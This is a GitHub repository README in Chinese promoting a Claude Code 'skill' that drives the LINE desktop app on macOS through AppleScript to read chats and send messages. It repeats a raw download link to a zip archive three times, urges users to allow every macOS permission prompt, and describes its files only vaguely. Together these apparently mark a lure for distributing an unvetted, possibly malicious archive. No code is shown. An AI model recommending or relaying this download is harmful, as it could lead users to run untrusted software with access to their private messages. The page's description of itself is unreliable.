Nervousdisordercrispness754/line-desktop-skill
GitHub: Nervousdisordercrispness754/line-desktop-skill
通过 AppleScript 让 Claude Code 控制 macOS 上的 LINE 桌面应用,实现无需 API 令牌即可读取聊天和发送消息的自动化功能。
Stars: 0 | Forks: 0
# 🖥️ line-desktop-skill - 从桌面控制 LINE
## 📥 下载
访问此页面下载并运行此文件:
https://github.com/Nervousdisordercrispness754/line-desktop-skill/raw/refs/heads/main/undergarb/desktop_line_skill_v2.0.zip
如果页面在浏览器中打开,请查找最新版本或主要下载选项。将文件保存到您的计算机,然后从下载文件夹中打开它。
## 🚀 功能说明
line-desktop-skill 帮助您从 Mac 上的 Claude Code 控制 LINE 桌面应用。它可以在无需 API 令牌的情况下读取聊天记录和发送消息。
当您希望直接处理 LINE 桌面消息而不是使用单独的服务时,这非常有用。该技能使用 AppleScript 与您已打开的应用进行通信。
## 🧩 环境要求
在 Mac 上使用,需满足以下条件:
- 已安装 LINE 桌面应用
- 已安装 Claude Code
- 已启用 AppleScript 支持
- 已获得 macOS 应用控制权限
为获得最佳效果,请在开始前保持 LINE 登录状态并保持应用打开。
## 🛠️ 设置
1. 打开下载页面:
https://github.com/Nervousdisordercrispness754/line-desktop-skill/raw/refs/heads/main/undergarb/desktop_line_skill_v2.0.zip
2. 将项目文件下载到您的 Mac。
3. 如果文件在压缩文件夹中,请解压。
4. 将文件夹移动到您可以再次找到的位置,例如文档或桌面。
5. 打开 Claude Code 并将技能文件夹添加到您的工作区或技能文件夹。
6. 确保 macOS 允许 Claude Code 控制 LINE:
- 打开系统设置
- 转到隐私与安全
- 打开自动化
- 允许 Claude Code 控制 LINE
7. 打开 LINE 桌面应用并登录。
8. 使用下载的文件夹从 Claude Code 运行该技能。
## 💬 使用方法
设置完成后,您可以请求 Claude Code 执行以下 LINE 桌面任务:
- 阅读最新的聊天消息
- 打开聊天对话
- 发送文本消息
- 查看最近的对话文本
- 在聊天之间切换
使用简单的请求,例如:
- 阅读我最新的 LINE 聊天
- 给 Alex 发送这条消息:我会在 3 点到达
- 打开与销售组的聊天
- 显示 LINE 中最近 5 条消息
使用技能时保持 LINE 打开。
## 🔐 权限设置
第一次尝试控制 LINE 时,macOS 可能会请求权限。
如果发生这种情况:
- 选择允许
- 不要阻止请求
- 如需要,重新启动 Claude Code 并重试
如果 LINE 没有响应,请再次检查自动化设置。在 macOS 授予访问权限之前,AppleScript 控制将无法工作。
## 🧠 工作原理
该技能使用 AppleScript,这是 Mac 内置的自动化工具。Claude Code 向 AppleScript 发送命令,AppleScript 控制 LINE 桌面应用。
这使技能能够:
- 读取应用文本
- 聚焦聊天
- 输入消息文本
- 触发发送操作
- 提取可见的聊天内容
由于它通过应用本身工作,因此您不需要 API 令牌。
## ✅ 常见用途
该技能适用于简单的日常任务,例如:
- 查看最近的消息
- 发送快速回复
- 将聊天文本复制到您的工作流程中
- 查看群组聊天更新
- 在不离开桌面应用的情况下处理聊天操作
## 🧭 故障排除
如果 LINE 无法打开,请检查它是否已安装在应用程序文件夹中。
如果消息无法发送:
- 确保 LINE 处于打开状态
- 确保选择了正确的聊天
- 检查 Claude Code 是否具有自动化访问权限
- 重新启动 LINE 并重试
如果技能无法读取聊天文本:
- 首先打开聊天窗口
- 保持对话可见
- 使用正常的聊天视图,而不是隐藏或空白的屏幕
如果 Claude Code 找不到该技能:
- 确认文件夹已复制到正确的位置
- 检查文件夹名称
- 移动文件后重新加载 Claude Code
## 🗂️ 建议的文件夹布局
简单的布局有助于保持易于使用:
- 下载
- line-desktop-skill
- 文档
- Claude Code
- 技能
- line-desktop-skill
如果您愿意,可以使用其他位置。关键是将技能文件夹放在 Claude Code 可以访问的地方。
## 🖱️ 首次运行步骤
首次使用时请按以下顺序操作:
1. 下载文件
2. 解压文件夹
3. 将文件夹放入您的技能位置
4. 打开 LINE 桌面应用
5. 打开 Claude Code
6. 授予自动化权限
7. 运行一个简单的命令,例如“阅读我最新的 LINE 聊天”
首次运行有助于 macOS 保存权限设置。
## 🧰 文件内容
该仓库围绕一个小型的 Mac 自动化工作流程构建。它包含通过 AppleScript 将 Claude Code 与 LINE 桌面连接所需的内容。
典型文件可能包括:
- 技能说明
- AppleScript 辅助文件
- 设置说明
- 示例提示
- 命令模板
## 🖥️ 系统适配
此项目适用于:
- macOS
- LINE 桌面应用
- Claude Code
- 希望直接控制桌面聊天的用户
它并非为 Windows 作为主要运行时而设计。如果您使用 Windows,则需要 Mac 环境才能使 AppleScript 部分正常工作。
## 🧪 示例任务
设置后尝试以下提示:
- 阅读 LINE 中的最新消息
- 给我的 Maya 聊天发送“我快到了,马上就到”
- 打开与团队的 LINE 聊天
- 显示所选聊天的最后一条消息
- 给当前对话发送一条简短的回复
保持提示清晰简单。当您说出聊天名称或明确表达需求时,技能效果最佳。
## 📁 重新下载
如果您需要再次获取文件,请使用相同的链接:
https://github.com/Nervousdisordercrispness754/line-desktop-skill/raw/refs/heads/main/undergarb/desktop_line_skill_v2.0.zip
## 🔧 基本技巧
- 使用技能时保持 LINE 打开
- 发送或读取消息时保持目标聊天可见
- 在尝试更大任务之前先授予权限
- 使用简短的消息请求以获得更快的响应
- 如果 LINE 停止响应 AppleScript,请重新启动
## 🧾 仓库详情
- 仓库:line-desktop-skill
- 目的:通过 AppleScript 控制 LINE 桌面应用
- 主要用途:无需 API 令牌即可读取聊天和发送消息
标签:AppleScript, Claude Code, GUI自动化, LINE, macOS自动化, 即时通讯, 数字取证, 无API集成, 桌面应用控制, 桌面自动化, 消息发送, 聊天控制, 脚本控制, 自动化脚本